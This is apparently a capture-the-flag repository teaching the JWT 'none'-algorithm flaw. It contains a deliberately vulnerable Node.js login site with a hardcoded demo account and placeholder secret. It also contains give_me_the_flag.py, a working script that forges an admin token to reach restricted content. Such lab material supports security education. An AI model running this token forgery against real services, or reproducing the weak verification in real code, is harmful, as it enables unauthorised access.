19 |
24 |
25 |
--------------------------------------------------------------------------------
/target-website/server.js:
--------------------------------------------------------------------------------
1 | var port = 8080;
2 | var http = require('http'); // core node.js http (no frameworks)
3 | var url = require('url'); // core node.js url (no frameworks)
4 | var app = require('./lib/helpers'); // auth, token verification & render helpers
5 | var c = function(res){ /* */ };
6 |
7 | process.on('SIGINT', function() {
8 | console.log( "\nGracefully shutting down from SIGINT (Ctrl-C)" );
9 | process.exit(1);
10 | });
11 |
12 | http.createServer(function (req, res) {
13 | var path = url.parse(req.url).pathname;
14 | if( path === '/' || path === '/home' ) { app.home(res); } // homepage
15 | else if( path === '/auth') { app.handler(req, res); } // authenticator
16 | else if( path === '/private') { app.validate(req, res, app.done); } // private content
17 | else if( path === '/logout') { app.logout(req, res, app.done); } // end session
18 | else { app.notFound(res); } // 404 error
19 | }).listen(port);
20 |
21 | console.log("The server is running at " + port);
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 Long Zhang
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/target-website/views/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Authentication with JSON Web Tokens
6 |
7 |
15 |
16 |
17 |
Hej! Please login with your username and password.
18 |
19 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/give_me_the_flag.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding:utf-8 -*-
3 |
4 | import os, sys, requests, jwt
5 | import logging
6 | from optparse import OptionParser, OptionGroup
7 |
8 | __version__ = "0.1"
9 |
10 | # nicely parse the command line arguments
11 | def parse_options():
12 | usage = r'usage: python3 %prog [options] -l LOGIN_URL -u USERNAME -p PASSWORD'
13 | parser = OptionParser(usage = usage, version = __version__)
14 |
15 | parser.add_option('-l', '--url',
16 | action = 'store',
17 | type = 'string',
18 | dest = 'url',
19 | help = 'The POST request url to login the website.'
20 | )
21 |
22 | parser.add_option('-u', '--username',
23 | action = 'store',
24 | type = 'string',
25 | dest = 'username',
26 | help = 'The username used to login.'
27 | )
28 |
29 | parser.add_option('-p', '--password',
30 | action = 'store',
31 | type = 'string',
32 | dest = 'password',
33 | help = 'The password used to login.'
34 | )
35 |
36 | options, args = parser.parse_args()
37 | if options.url == None or options.username == None or options.password == None:
38 | parser.print_help()
39 | parser.error("Missing options.")
40 |
41 | return options
42 |
43 | def main():
44 | options = parse_options()
45 |
46 | # a default user-agent which is used to login the website
47 | headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36"}
48 | # the login parameters
49 | loginparams = {"username": options.username, "password": options.password}
50 |
51 | session_requests = requests.session() # by using session(), we are able to handle http cookies, which is used to save the jwt token
52 | login_result = session_requests.post(options.url, data = loginparams, headers = headers) # send a post request to login the website
53 | if login_result.status_code == 200:
54 | # successfully login the website
55 | private_page_url = login_result.url # now the user should be redirected to a restricted page, which has different contents for different roles
56 | for cookie in session_requests.cookies:
57 | if cookie.name == "token":
58 | jwttoken = cookie.value # extract the jwt token string
59 | logging.info("successfully detect a jwt token: %s\n"%jwttoken)
60 |
61 | header = jwt.get_unverified_header(jwttoken) # get the jwt token header, figure out which algorithm the web server is using
62 | logging.info("jwt token header: %s\n"%header)
63 |
64 | payload = jwt.decode(jwttoken, options={
65 | "verify_signature": False})
66 | # decode the jwo token payload, the user role information is claimed in the payload
67 | logging.info("jwt token payload: %s\n"%payload)
68 |
69 | payload["role"] = "admin"
70 | fake_jwttoken = jwt.encode(payload, None, algorithm="none") # update the user role and regenerate the jwt token using "none" algorithm
71 | logging.info("regenerate a jwt token using 'none' algorithm and changing the role into 'admin'")
72 | logging.info(fake_jwttoken + "\n")
73 |
74 | cookie.value = fake_jwttoken
75 | break
76 | flag_page = session_requests.get(private_page_url, headers = headers) # let's visit the restricted page again
77 | logging.info("\n" + flag_page.text + "\n") # now the webpage should contain the flag information
78 |
79 | logging.info("Yeah, now we successfully login as admin!")
80 | else:
81 | logging.error("Failed to login the website, please check the options.")
82 | sys.exit(1)
83 |
84 | if __name__ == '__main__':
85 | logging.basicConfig(level=logging.INFO)
86 | main()
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ctf-jwt-token
2 |
3 | An example of a vulnerability in the early JWT token node.js library.
4 |
5 | ## Basic Introduction to JWT Token
6 |
7 | According to standard [RFC 7519](https://tools.ietf.org/html/rfc7519), JSON Web Token (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is used as the payload of a JSON Web Signature (JWS) structure or as the plaintext of a JSON Web Encryption (JWE) structure, enabling the claims to be digitally signed or integrity protected with a Message Authentication Code (MAC) and/or encrypted.
8 |
9 | ## How to Install The Vulnerable Component
10 |
11 | The vulnerable component is presented as a simple website which is written in node.js. The implementation is modified from GitHub repo [dwyl/learn-json-web-tokens](https://github.com/dwyl/learn-json-web-tokens) which holds a MIT license. This application uses username and password to authenticate a login first, then it also generates a JWT token for the user to claim the user role. The token is saved in cookies and checked whenever the user tries to visit some restricted pages.
12 |
13 | In this website, there are two different user roles: common user, admin user. The content of the main page after logging in is different. The flag is put on the admin main page. However, a visitor only has a demo account, which is a common user.
14 |
15 | ### Run The Component in One Step
16 |
17 | The vulnerable website has been dockerized and published on [DockerHub](https://hub.docker.com/r/gluckzhang/ctf-jwt-token). You could directly run it with the following command:
18 |
19 | ```
20 | docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token
21 | ```
22 |
23 | After that, the website is available via `http://localhost:8080`.
24 |
25 | ### Build The Docker Image by Yourself
26 |
27 | If you would like to make some modifications and build the image by yourself, the source code and Dockerfile are located in folder `target-website`. After updating the files, run the following command to build the image:
28 |
29 | ```
30 | cd target-website
31 | docker build -t IMAGE_TAG .
32 | ```
33 |
34 | ## How to Conduct The Attack
35 |
36 | The goal of this attack is to extract the information which should be only seen by admin users. By default, the attacker could only get a common user account to experience the website. By modifying the JWT token, the attacker spoofs the server that he logs in as an admin.
37 |
38 | Use the following Python3 script to conduct the attack:
39 |
40 | ```
41 | pip install -r requirements.txt
42 | python give_me_the_flag.py -l LOGIN_URL -u USERNAME -p PASSWORD
43 | ```
44 |
45 | A screencast to show every step: https://youtu.be/y2dWWnLmygs
46 |
47 | ## Background Theory of The Exploit
48 |
49 | According to the standard of JWT token, a special algorithm `none` should be always supported. Commonly `none` is used after the integrity of a token is verified. However, some libraries (e.g. node.js jsonwebtoken v0.4.0) always treated tokens signed with the `none` algorithm as valid ones. As a result, everyone could create their own valid tokens with whatever payload they want.
50 |
51 | Since the demo website uses a JWT token to claim a login user's role, we will update the token to 1) change the algorithm into `none` and 2) change the user role into `admin`.
52 |
53 | Actually there is another vulerability which is related to JWT token[[2]](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6). If the token declares to use `HS256` algorithm to encrypt the payload, the signature will be verified with the public key as the secret key. Since it is easy to obtain the website server's public key, we could sign the payload by ourselves. Due to the limited time, this demo project does not implement that case.
54 |
55 | ## References
56 |
57 | - [Critical vulnerabilities in JSON Web Token libraries](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
58 | - [Hacking JSON Web Token (JWT)](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
59 | - [npm jsonwebtoken v0.4.0](https://www.npmjs.com/package/jsonwebtoken/v/0.4.0)
60 | - [Learn how to use JSON Web Token (JWT) to secure your next Web App! (Tutorial/Example with Tests)](https://github.com/dwyl/learn-json-web-tokens)
61 |
--------------------------------------------------------------------------------
/target-website/lib/helpers.js:
--------------------------------------------------------------------------------
1 | var Cookies = require('cookies')
2 | var qs = require('querystring');
3 | var fs = require('fs');
4 | var path = require('path');
5 |
6 | var level = require('level');
7 | var db = level(__dirname + '/db');
8 |
9 | var jwt = require('jsonwebtoken');
10 | var secret = process.env.JWT_SECRET || "CHANGE_THIS_TO_SOMETHING_RANDOM"; // super secret
11 |
12 | function loadView(view) {
13 | var filepath = path.resolve(__dirname, '../views/', view + '.html');
14 | return fs.readFileSync(filepath).toString();
15 | }
16 |
17 | // Content
18 | var index = loadView('index'); // default page
19 | var restricted = loadView('restricted'); // only show if JWT valid
20 | var admin = loadView('admin'); // only show if JWT valid and the role is admin
21 | var fail = loadView('fail'); // auth fail
22 |
23 | // show fail page (login)
24 | function authFail(res, callback) {
25 | res.writeHead(401, {'content-type': 'text/html'});
26 | return res.end(fail);
27 | }
28 |
29 | // generate a GUID
30 | function generateGUID() {
31 | return new Date().getTime(); // we can do better with crypto
32 | }
33 |
34 | // create JWT
35 | function generateToken(req, GUID, opts, role) {
36 | opts = opts || {};
37 |
38 | // By default, expire the token after 7 days.
39 | // NOTE: the value for 'exp' needs to be in seconds since
40 | // the epoch as per the spec!
41 | var expiresDefault = '7d';
42 |
43 | var token = jwt.sign({
44 | auth: GUID,
45 | agent: req.headers['user-agent'],
46 | role: role
47 | }, secret, { expiresIn: opts.expires || expiresDefault });
48 |
49 | return token;
50 | }
51 |
52 | function generateAndStoreToken(req, opts, role) {
53 | var GUID = generateGUID(); // write/use a better GUID generator in practice
54 | var token = generateToken(req, GUID, opts, role);
55 | var record = {
56 | "valid" : true,
57 | "created" : new Date().getTime()
58 | };
59 |
60 | db.put(GUID, JSON.stringify(record), function (err) {
61 | // console.log("record saved ", record);
62 | });
63 |
64 | return token;
65 | }
66 |
67 | function authSuccess(req, res, role) {
68 | var token = generateAndStoreToken(req, null, role);
69 |
70 | var cookies = new Cookies(req, res)
71 | cookies.set('token', token)
72 | res.writeHead(302, {
73 | 'Location': '/private'
74 | });
75 | return res.end();
76 | }
77 |
78 | // lookup person in "database"
79 | var u = { un: 'longz', pw: 'gogogo', role: 'user' };
80 |
81 | // handle authorisation requests
82 | function authHandler(req, res){
83 | if (req.method === 'POST') {
84 | var body = '';
85 | req.on('data', function (data) {
86 | body += data;
87 | }).on('end', function () {
88 | var post = qs.parse(body);
89 | if(post.username && post.username === u.un && post.password && post.password === u.pw) {
90 | return authSuccess(req, res, u.role);
91 | } else {
92 | return authFail(res);
93 | }
94 | });
95 | } else {
96 | return authFail(res);
97 | }
98 | }
99 |
100 | function verify(token) {
101 | var decoded = false;
102 | jwt.verify(token, secret, function (err, payload) {
103 | if (err) {
104 | decoded = false; // still false
105 | } else {
106 | decoded = payload;
107 | }
108 | });
109 | return decoded;
110 | }
111 |
112 | // can't use the word private as its an ES "future" reserved word!
113 | // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords
114 | function privado(res, token, role) {
115 | res.writeHead(200, {
116 | 'content-type': 'text/html'
117 | });
118 | if (role === 'user') {
119 | return res.end(restricted);
120 | } else {
121 | return res.end(admin);
122 | }
123 | }
124 |
125 | function validate(req, res, callback) {
126 | var cookies = new Cookies(req, res)
127 | var token = cookies.get('token')
128 | var decoded = verify(token);
129 | if(!decoded || !decoded.auth) {
130 | authFail(res);
131 | return callback(res);
132 | } else {
133 | db.get(decoded.auth, function (err, record) {
134 | var r;
135 | try {
136 | r = JSON.parse(record);
137 | } catch (e) {
138 | r = { valid : false };
139 | }
140 | if (err || !r.valid) {
141 | authFail(res);
142 | return callback(res);
143 | } else {
144 | privado(res, token, decoded.role);
145 | return callback(res);
146 | }
147 | });
148 | }
149 | }
150 |
151 | function notFound(res) {
152 | res.writeHead(404, {'content-type': 'text/plain'});
153 | return res.end('404 Not Found');
154 | }
155 |
156 | function home(res) {
157 | res.writeHead(200, {'content-type': 'text/html'});
158 | return res.end(index);
159 | }
160 |
161 | function done(res) {
162 | return; // does nothing. (pass as callback)
163 | }
164 |
165 | function logout(req, res, callback) {
166 | // invalidate the token
167 | var cookies = new Cookies(req, res);
168 | var token = cookies.get('token');
169 | // console.log(' >>> ', token)
170 | var decoded = verify(token);
171 | if(decoded) { // otherwise someone can force the server to crash by sending a bad token!
172 | // asynchronously read and invalidate
173 | db.get(decoded.auth, function(err, record) {
174 | if (!err) {
175 | var updated = JSON.parse(record);
176 | updated.valid = false;
177 | db.put(decoded.auth, updated, function (err) {
178 | // console.log('updated: ', updated)
179 | });
180 | }
181 | cookies.set('token');
182 | res.writeHead(302, {
183 | 'Location': '/'
184 | });
185 | res.end();
186 | return callback(res);
187 | });
188 | } else {
189 | cookies.set('token');
190 | authFail(res, done);
191 | return callback(res);
192 | }
193 | }
194 |
195 |
196 | module.exports = {
197 | fail : authFail,
198 | done: done, // moch callback
199 | home: home,
200 | handler : authHandler,
201 | logout : logout,
202 | notFound : notFound,
203 | success : authSuccess,
204 | validate : validate,
205 | verify : verify,
206 | view : loadView,
207 | generateAndStoreToken: generateAndStoreToken
208 | }
209 |
--------------------------------------------------------------------------------